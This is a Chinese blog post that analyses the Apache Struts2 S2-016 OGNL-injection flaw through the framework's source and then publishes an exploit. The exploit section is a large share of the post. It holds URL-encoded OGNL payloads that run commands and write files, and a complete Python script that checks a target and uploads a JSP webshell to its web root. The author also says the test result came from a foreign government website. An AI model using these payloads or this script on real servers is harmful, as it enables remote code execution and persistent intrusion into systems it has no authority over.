Struts2漏洞之S2-016漏洞分析與exp編寫


1、概述
S2-016是13年7月爆出的,那時候的我還沒涉及Web安全研究。這次遲到的分析也算是對過去的補充。這個漏洞影響了Struts 2.3.15.1之前的所有版本。問題主要出在對於特殊URL處理中,redirect與redirectAction後面跟上Ognl表達式會被服務器執行。
 
2、漏洞分析
分析開源框架的漏洞還是從其源碼入手,問題出在了DefaultActiionMapper上,這個類主要是用來處理一些靈活的URL調用,比如處理Action中動態調用方法的形式,如:
foo!bar這種形式是動態的調用action中的方法,其中foo是action,bar是方法名,但是調用的前提是在struts.xml中事先進行配置。
當然這只是一種,這個類還有個重要的作用就是處理redirect、redirectAction、method、action
 
method用來動態指明調用的方法,如調用hello中的execute方法,則可以傳入url爲:http;//www.foo.com/bar/hello.action?method:execute。
action用來指定其他的action,有了這個前綴,URL中的默認Action的execute方法不會被執行,而是執行其他action中的execute方法。
redirect一旦寫定,同樣不會執行默認action中的execute方法,而是重定向到其他的頁面,內部通過ServletRedirectResult完成執行。
redirectAction同樣會屏蔽默認action的方法,而是重定向到其他的Action,同樣依靠ServletRedirectResult實現任務。
至於爲什麼redirect後面的東西就會當做Ognl執行呢?   繼續往下分析源碼。
傳入如下URL給Struts2框架,並設置相應的斷點。
 
Payload
127.0.0.1:8080/struts_hello/hello?redirect:
${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23screen.println(%23d),%23screen.close()}
 
首先,在DefaultActionMapper中做的第一件事情就是將Action的名稱和命名空間(namespace)給提取出來,接下來調用了兩個方法,一個是handleSpecialParameters,主要是這個handleSepcialParameters方法中有問題。
首先要提取出redirect:${xxxxxx}作爲key,然後調用execute方法。
 
繼續跟進,發現是調用了構造方法中的其中一個,這裏是根據識別的redirect前綴決定調用哪個put方法。
最最引人注目的就是這個redirect,這個redirect其實就是一個ServletRedirectResult的對象,前面也說過了,處理redirect前綴執行的就是這個類了,而這裏只做了一件事,就是規定了重定向的方向,也就是邏輯流要跳轉到哪裏去。這個key.substring(REDIRECT_PREFIX).length()就是redirect:${xxxx}中的xxxx內容。
以上就是對URL進行一次預處理,並將運行環境和對象創建出來,接下來就是在StrutsPrepareAndExecution調用了executeAction方法:
有童鞋可能會問,這個mapping到底是什麼呢?
其實這個mapping就可以看成這次請求的一個參數表,裏面規定了redierect的location、Action的名稱、namespace等等,繼續跟進,就一路跟到了StrutsResultSupport中:
 
這個方法就是爲了解析參數並用於Ognl表達式。其中的param參數是個String類型,其實就是${xxx}。
進入translateVariables,這個過程可以清楚看到Struts2的裝飾過程,最終來到了TextParseUtil類中:
對參數進行說明,第一個參數是個字符數組,主要規定了"redirect:"與後面的大括號之間的符號,可以是$,也可以是%。
expression就是${xxxx}。stack就是當前的值棧。
這個方法中首先將大括號中的內容提取出來:
這些只是將Ognl表達式進行提取,說白了就是進行一系列的字符串操作,而執行則是通過下面的語句:
var是提取出來的Ognl表達式,就是大括號裏面的內容。接着執行了stack.findValue方法,正是這個方法將Ognl表達式執行了,其實就是到了比較底層的OgnlUtil中進行語法樹分析並執行,最後返回執行的結果。這個執行的過程就是在OgnlValueStack中實現的(對於樹中的每個節點進行執行),這裏涉及了Ognl語法樹算法,這裏不贅述。
分析到這裏,相信很多人都會明白了這個Ognl是如何就執行的了,這也是Struts2漏洞的最根本的地方,每個Struts2漏洞都是圍繞着Ognl表達式機制。探測和分析出不同的方法(各種payload的奇怪表示)都是爲了最終讓服務端執行我們的Ognl表達式代碼。
 
 
3、總結
S2-016的根本原因就是沒有對幾個前綴的後面進行嚴格的過濾,導致黑客可以傳入符合Ognl表達式語法規則的字符串,使得Struts2將其當做Ognl表達式在ValueStack中執行,從而造成了任意命令的執行,getshell啊、列目錄、echo上傳,本質上都是執行java代碼。
 
4、S2-016的exp編寫
分析清楚了漏洞的原理,其實寫個exp不是太難了。不過這裏有個大坑,就是我在調試exp的時候,發現這個漏洞不同於以往的s2漏洞。對於一些URL中的特殊字符,比如等於號、空格、中括號、雙引號、#符號等,必須要嚴格進行urlencode才行,否則exp會執行失敗,不知道後面是怎麼運作的,有興趣的童鞋可以嘗試探索一下。
在最後,給出我的漏洞監測+getshell腳本,代碼如下:
POC:
%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22hacker%22),%23p.close()
 
GETSHELL:
%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3dfalse%2c%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%5d%2c%23b%3dnew+java.io.FileOutputStream(new+java.lang.StringBuilder(%23a.getRealPath(%22/%22)).append(@java.io.File@separator).append(%22system.jsp%22))%2c%23b.write(%23a.getParameter("t").getBytes())%2c%23b.close%28%29%2c%23p%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.getWriter%28%29%2c%23p.println%28%22DONE%22%29%2c%23p.flush%28%29%2c%23p.close%28%29
 
#coding=utf-8
import sys
import requests
class StrutsExploit():

	def __init__(self):	
		self.webshell = '''<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><html><head><title>system</title><meta http-equiv="keywords" content="system"><meta http-equiv="description" content="system"></head><%int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("up")){String url=request.getParameter("url");String text=request.getParameter("text");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>Failed<%}}if(i==0){%>Success<%}%><body><form action='' method='post'>path of your shell:<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="text">typing code here</textarea><br><input type="submit" value="up" name="text"/></form></body></html>'''
		self.payload = '''redirect:${%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3dfalse%2c%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%5d%2c%23b%3dnew+java.io.FileOutputStream(new+java.lang.StringBuilder(%23a.getRealPath(%22/%22)).append(@java.io.File@separator).append(%22system.jsp%22))%2c%23b.write(%23a.getParameter("t").getBytes())%2c%23b.close%28%29%2c%23p%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.getWriter%28%29%2c%23p.println%28%22DONE%22%29%2c%23p.flush%28%29%2c%23p.close%28%29}'''
		self.detect_str = '''redirect:${%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22HACKER%22),%23p.close()}'''
	
	'''獲取shell的URL'''
	def getShellPath(self,url):
		rawurl = url
		count = 0
		i = 0
		lineIndex = []
		url = url.replace('http://','')
		for x in url:
			if x == '/':
				lineIndex.append(i)
				count += 1
			if count == 2:
				break
			i += 1
		if len(lineIndex) != 2:
			proDir = ''
			partOne = partOne = rawurl[0:lineIndex[0]+7]	
		else:
			proDir = url[lineIndex[0]:lineIndex[1]]	
			partOne = rawurl[0:lineIndex[0]+7]	
		shellpath = "%s%s%s" % (partOne,proDir,"/system.jsp")
		return shellpath


	'''檢測是否存在漏洞'''
	def detect(self,url):
		url = "%s?%s" % (url,self.detect_str)
		try:
			r = requests.get(url,timeout=10)
			page_content = r.content
			if page_content.find('HACKER') != -1:
				return True
			else:
				return False
		except Exception, e:
			print '[+]Exploit Failed:',e
			return False

	'''攻擊 上傳shell到根目錄'''
	def getshell(self,url):
		target_url = "%s?%s" % (url,self.payload)
		data = {'t':self.webshell}
		try:
			r = requests.post(target_url,data=data,timeout=10)
			page_content = r.content
			if page_content.find('DONE') != -1:
				print '[+]Exploit Success,shell location:\n%s' % self.getShellPath(url)
			else:
				print '[+]Exploit Failed'
		except Exception, e:
			print '[+]Exploit Failed:',e
			return

if __name__ == '__main__':
	if len(sys.argv) != 2:
		print '[+]Usage:python s2-016.py [target_url]'
		sys.exit()
	url = sys.argv[1]

	if not url.startswith('http://'):
		print '[+]URL is invalid!'
		sys.exit()
	print 'Powered By:Exploit\nQQ:739858341\n[:-)]Target:%s' % url
	attacker = StrutsExploit()
	if attacker.detect(url):
		print '[+]This website is vulnerable!'
	else:
		print '[+]Sorry,exploit failed!'
		sys.exit()
	attacker.getshell(url)
		
 
測試運行結果:
 
shell結果(國外ZF網站):
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章